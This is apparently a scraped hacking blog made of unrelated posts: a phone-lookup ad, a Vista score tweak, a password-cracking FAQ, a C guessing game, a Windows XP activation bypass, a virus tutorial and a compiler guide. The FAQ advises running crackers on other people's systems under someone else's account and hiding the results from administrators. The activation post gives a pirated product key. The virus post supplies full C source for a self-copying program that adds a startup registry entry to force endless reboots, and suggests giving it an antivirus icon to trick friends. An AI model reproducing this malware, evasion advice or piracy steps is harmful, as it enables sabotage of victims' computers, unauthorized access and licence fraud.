A Reverse Cell Phone Lookup is simply a process of finding someone’s personal details such as name, age, address and related information by using their cell phone number. At times it becomes necessary for us to start investigating on someone to know their personal details. The reason for this can be many – Some people may go for a cell phone lookup in order to locate their old friends, some to investigate the prank calls or to trace a suspicious number.
There exists a lot of websites on the Internet that offer reverse cell phone search, some claim to be free while others ask you a small fee for the subscription. There also exists a few directories that provide access to both landline and cell phone numbers thereby providing an all-in-one lookup service.
Since most people wish to access this information for free, they go in search of those websites which provide the reverse cell phone lookup service for free. Most scam websites take up this tendency of people as an added advantage and try to attract more and more visitors by promising them to provide the search service at a free of cost. In reality, the visitors of these websites may pick up malware programs like viruses and trojans. So you should be very careful not to visit any of such websites unless you are 100% confident about their legitimacy.Hence in order to do a reverse cell phone lookup, you need to find a trusted website/directory service that provide information which is accurate and authentic.
Even though there is no national cell phone lookup directory available in United States due to various privacy concerns, there are still a number of top quality directories used by various private detectives, journalists and those why are in need to spy on their cheating spouse or children. These companies invest a lot of time and financial resources in gathering mobile phone and landline numbers by using both private and public sources, as well as major cell phone carrier restricted databases.
Thus by using this service it becomes just a cakewalk for anyone to find the details associated with any phone number whether it be a cell phone or a landline. The entire process of finding someone by cellphone number is very straightforward – all you need to do is just enter the phone number that you want to trace down and hit the “Search” button. You will be able to instantly view the information such as the phone owner’s name, age, mobile provider, billing address, previous addresses and more.
I recommend the following cell phone directory to search both mobile & landline and listed/unlisted residential numbers. The site is completely safe and uses a 128-bit secured access to maintain 100% privacy of the uses. All searches remains private and anonymous. Click on the following link to gain access now!

If you are a Windows Vista user then you are very likely to be familiar with the Base Score. This score is calculated based on the computer’s hardware and software configuration. This score act’s as a rating to your PC. If you have a too low base score then don’t worry. Hacking Windows Vista’s so called Base Score is very easy. It is possible to hack this score within no time.Here are the snapshots of my own system. Actually my system’s base score is 3.7. But I have brought it up to 9.5 with this small hack. Can you beleive this!!

Here is a step-by-step instruction to hack Vista Base score
1. Navigate to
C:\Windows\Performance\WinSAT\DataStore
2. You should see a .xml file with Assessment (Formal).WinSAT as filename
3. Right-click it and select open with ‘Wordpad’ (Not notepad!)
4. On line 12, you should see something like the following:
9.5
9.5
9.5
9.5
5.5
9.5
9.5
9.5
5. You can enter any number in the place where I have written 9.5. But the number should be less than 10.
6. Once you have entered the number of your choice save the file and close it.
7. That’s it. You have successfully altered your Windows Vista base score. No restart is required.

Password Hacking FAQ

10:06 PM

Posted by Taz

1. What are some password basics?

 
Most accounts on a computer system usually have some method of restricting access to that account, usually in the form of a password. When accessing the system, the user has to present a valid ID to use the system, followed by a password to use the account. Most systems either do not echo the password back on the screen as it is typed, or they print an asterisk in place of the real character.
On most systems,the password is typically ran through some type of algorithm to generate a hash. The hash is usually more than just a scrambled version of the original text that made up the password, it is usually a one-way hash. The one-way hash is a string of characters that cannot be reversed into its original text. You see, most systems do not “decrypt” the stored password during authentication, they store the one-way hash. During the login process, you supply an account and password. The password is ran through an algorithm that generates a one-way hash. This hash is compared to the hash stored on the system. If they are the same, it is assumed the proper password was supplied.
Cryptographically speaking, some algorithms are better than others at generating a one-way hash. The main operating systems we are covering here — NT, Netware, and Unix — all use an algorithm that has been made publically available and has been scrutinized to some degree.
To crack a password requires getting a copy of the one-way hash stored on the server, and then using the algorithm generate your own hash until you get a match. When you get a match, whatever word you used to generate your hash will allow you to log into that system. Since this can be rather time-consuming, automation is typically used. There are freeware password crackers available for NT, Netware, and Unix.
 

2. Why protect the hashes?

 
If the one-way hashes are not the password itself but a mathematical derivative, why should they be protected? Well, since the algorithm is already known, a password cracker could be used to simply encrypt the possible passwords and compare the one-way hashes until you get a match. There are two types of approaches to this — dictionary and brute force.
Usually the hashes are stored in a part of the system that has extra security to limit access from potential crackers.
 

3. What is a dictionary password cracker?

 
A dictionary password cracker simply takes a list of dictionary words, and one at a time encrypts them to see if they encrypt to the one way hash from the system. If the hashes are equal, the password is considered cracked, and the word tried from the dictionary list is the password.
Some of these dictionary crackers can “manipulate” each word in the wordlist by using filters. These rules/filters allow you to change “idiot” to “1d10t” and other advanced variations to get the most from a word list. The best known of these mutation filters are the rules that come with Crack (for Unix). These filtering rules are so popular they have been ported over to cracking software for NT.
If your dictionary cracker does not have manipulation rules, you can “pre-treat” the wordlist. There are plenty of wordlist manipulation tools that allow all kinds of ways to filter, expand, and alter wordlists. With a little careful planning, you can turn a small collection of wordlists into a very large and thorough list for dictionary crackers without those fancy word manipulations built in.
 

4. What is a brute force password cracker?

 
A brute force cracker simply tries all possible passwords until it gets the password. From a cracker perspective, this is usually very time consuming. However, given enough time and CPU power, the password eventually gets cracked.
Most modern brute force crackers allow a number of options to be specified, such as maximum password length or characters to brute force with.
 

5. Which method is best for cracking?

 
It really depends on your goal, the cracking software you have, and the operating system you are trying to crack. Let’s go through several scenarios.
If you remotely retrieved the password file through some system bug, your goal may be to simply get logged into that system. With the password file, you now have the user accounts and the hashes. A dictionary attack seems like the quickest method, as you may simply want access to the box. This is typical if you have a method of leveraging basic access to gain god status.
If you already have basic access and used this access to get the password file, maybe you have a particular account you wish to crack. While a couple of swipes with a dictionary cracker might help, brute force may be the way to go.
If your cracking software does both dictionary and brute force, and both are quite slow, you may just wish to kick off a brute force attack and then go about your day. By all means, we recommend a dictionary attack with a pre-treated wordlist first, followed up by brute force only on the accounts you really want the password to.
You should pre-treat your wordlists if the machine you are going to be cracking from bottlenecks more at the CPU than at the disk controller. For example, some slower computers with extremely fast drives make good candidates for large pre-treated wordlists, but if you have the CPU cycles to spare you might want to let the cracking program’s manipulation filters do their thing.
A lot of serious hackers have a large wordlist in both regular and pre-treated form to accommodate either need.
 

6. What is a salt?

 
To increase the overhead in cracking passwords, some algorithms employ salts to add further complexity and difficulty to the cracking of passwords. These salts are typically 2 to 8 bytes in length, and algorithmically introduced to further obfuscate the one-way hash. Of the major operating systems covered here, only NT does not use a salt. The specifics for salts for both Unix and Netware systems are covered in their individual password sections.
Historically, the way cracking has been done is to take a potential password, encrypt it and produce the hash, and then compare the result to each account in the password file. By adding a salt, you force the cracker to have to read the salt in and encrypt the potential password with each salt present in the password file. This increases the amount of time to break all of the passwords, although it is certainly no guarantee that the passwords can’t be cracked. Because of this most modern password crackers when dealing with salts do give the option of checking a specific account.
 

7. What are the dangers of cracking passwords?

 
The dangers are quite simple, and quite real. If you are caught with a password file you do not have legitimate access to, you are technically in possession of stolen property in the eyes of the law. For this reason, some hackers like to run the cracking on someone else’s systems, thereby limiting their liability. I would only recommend doing this on a system you have a legitimate or well-established account on if you wish to keep a good eye on things, but perhaps have a way of running the cracking software under a different account than your own. This way, if the cracking is discovered (as it often is — cracking is fairly CPU-intensive), it looks to belong to someone else. Obviously, you would want to run this under system adminstrator priviledges as you may have a bit more control, such as assigning lower priority to the cracking software, and hiding the results (making it less obvious to the real administrator).
Being on a system you have legit access to also allows you better access to check on the progress. Of course, if it is known you are a hacker, you’ll still be the first to be blamed whether the cracking software is yours or not!
Running the cracking software in the privacy of your own home has the advantage of allowing you to throw any and all computing power you have at your disposal at a password, but if caught (say you get raided) then there is little doubt whose cracking job is running. However, there are a couple of things you can do to protect yourself: encrypt your files. Only decrypt them when you are viewing them, and wipe and/or encrypt them back after you are done viewing them.
 

8. Is there any way I can open a password-protected Microsoft Office document?

 
Certainly! There are plenty of commercial programs that will do this, but we give props to Elcomsoft. 30-day trial versions are available here.

Guessing Game In C

This is a small guessing game written in C. In this guessing game you have to guess a number between 0 & 100. You have 8 chances to do that. Every time you guess wrongly the program will give you a hint that your guess is too high or your guess is too low. Based on this hint you have to guess the number in the remaining attempts. Here’s the code
 
#include
#include
#include void main()
{
int num,guess=-1,tries=0,pass=0;
time_t t;
srand((unsigned)time(&t));
num=rand()%100;
while((guess!=num)&&tries<8)
{
printf(“Enter the guess num b/w 0 & 100 (you have %d tries left out)\n”,(8-tries)); scanf(“%d”,&guess);
tries++;
if(guess==num)
{
printf(“Hurray you guessed it correctly!!!\n”);
pass=1;
}
else if(num< guess)
printf(“Your guess is too high\n”);
else
printf(“Your guess is too low\n”);
}
if(pass==0)
printf(“Sorry you lost! The correct number is %d\n”,num);
}

Make windows genuine
Make your Windows XP with Service Pack 2 geniune. Im not sure if this works on SP3.

This procedure described below will allow you to bypass the Microsoft Genuine Validation.
I hope this is the best way to make your copy of windows xp geniune.

Step 1:
 Click Start and then goto run and type ‘regedit’

Step 2:
Registry window will be opened, Then Go to
HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows NT\CurrentVersion\WPAEvents\OOBETimer

and double click on it. Then change some of the value data to any thing.

Step 3:
Go to start > run > “%systemroot%\system32\oobe\msoobe.exe /a” (again, dont type the quotes)

Step 4:
The activation screen will come up, click on register over telephone, then click on CHANGE PRODUCT KEY, enter in this key: JG28K-H9Q7X-BH6W4-3PDCQ-6XBFJ.

Now you can download all the updates without activating, and the Genuine Microsoft Validation will irritate you No more.

Note: This works better after reformating

Or else do you want to download the crack for XP,XP home,XP 2 and Vista, I am placing it in a zip folder pls download it from the below link

A Virus Program to Restart the Computer at Every Startup

Monday, August 2, 2010 7:35 PM

Posted by Taz

Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.
For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are familiar with C language then it’s too easy to understand the logic behind the coding.
Here is the source code.
#include
#include
#include int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;
case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;
case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;
case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart
}
NOTE: COMMENTS ARE GIVEN IN BROWN COLOUR.
 
Compiling The Scource Code Into Executable Virus.
 
1. Download the Source Code Here
2. The downloaded file will be Sysres.C
3. For step-by-step compilation guide, refer my post How to compile C Programs.
 
Testing And Removing The Virus From Your PC
 
You can compile and test this virus on your own PC without any fear. To test, just doubleclick the sysres.exe file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.
 
1. Reboot your computer in the SAFE MODE
2. Goto
X:\Windows\System
(X can be C,D,E or F) 3.You will find a file by name sysres.exe, delete it.
4.Type regedit in run.You will goto registry editor.Here navigate to
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run

 There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.
 
Logic Behind The Working Of The Virus
 
If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete. So I’ll explain the logic in a simplified manner. Here I’ll not explain the technical details of the program. If you have further doubts please pass comments.
 
LOGIC:
 
1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next it will determine whether the Virus file is already copied(Already infected) into X:\Windows\System
3. If not it will just place a copy of itself into X:\Windows\System and makes a registry entry to put this virus file onto the startup.
4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.
This process is repeated every time the PC is restarted.
NOTE: The system will not be restarted as soon as you double click the Sysres.exe file.The restarting process will occur from the next boot of the system.
 
AND ONE MORE THING BEFORE YOU LEAVE (This Step is optional)
 
After you compile, the Sysres.exe file that you get will have a default icon. So if you send this file to your friends they may not click on it since it has a default ICON. So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.
For example you can change the .exe file’s icon into Norton antivirus ICON itself so that the people seeing this file beleives that it is Norton antivirus. Or you can change it’s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.
The detailed tutorial on changing the ICON is given in my post How To Change The ICON Of An EXE File .

How to Compile C Programs

In many of my previous posts especially in the VIRUS CREATION section, I have used C as the programming language. If you’re new to C programming and find it difficult to compile the C source codes then this post is for you. Here is a step-by-step procedure to install Borland C++ compiler 5.5 and compile C programs.

 

How to install Borland C++ compiler

 
1. Download Borland C++ compiler 5.5 (for Windows platform) from the following link.
http://www.codegear.com/downloads/free/cppbuilder
2. After you download, run freecommandlinetools.exe. The default installation path would be
C:\Borland\BCC55
 

How to configure Borland C++ compiler

 
1. After you install Borland C++ compier, create two new Text Documents
2. Open the first New Text Document.txt file and add the following two lines into it
-I”c:\Borland\Bcc55\include” -L”c:\Borland\Bcc55\lib”
Save changes and close the file. Now rename the file from New Text Document.txt to bcc32.cfg.
3. Open the second New Text Document (2).txt file and add the following line into it

On a regular basis, people ask me questions about changing user information, the information you provided when you installed Windows. You can change it. Here is a step-by-step instruction.
 
 
 
1. Open the Registry Editor (Type regedit inside the Run box and hit Enter)
2. Navigate to the following key
HKLM\SOFTWARE\Microsoft\Windows NT\ CurrentVersion
3. Look for the following details and make necessary changes as follows
>>RegisteredOrganization
The name of the organization (Change this to your desired organization) >>RegisteredOwner
The name of the user (Change this to your desired name)
These changes are reflected in the system instantaneously and requies no reboot. You can confirm this by seeing the system properties (Right-Click on “My Computer” icon and select properties).
Both are REG_SZ values. Changing the registered organization and owner names doesn’t affect installed applications. However, applications that you install after changing these values are likely to pick up the new names.

A Trojan horse is an unauthorized program contained within a legitimate program. This unauthorized program performs functions unknown (and probably unwanted) by the user.
  • It is a legitimate program that has been altered by the placement of unauthorized code within it; this code performs functions unknown (and probably unwanted) by the user.
  • Any program that appears to perform a desirable and necessary function but that (because of unauthorized code within it that is unknown to the user) performs functions unknown (and definitely unwanted) by the user.
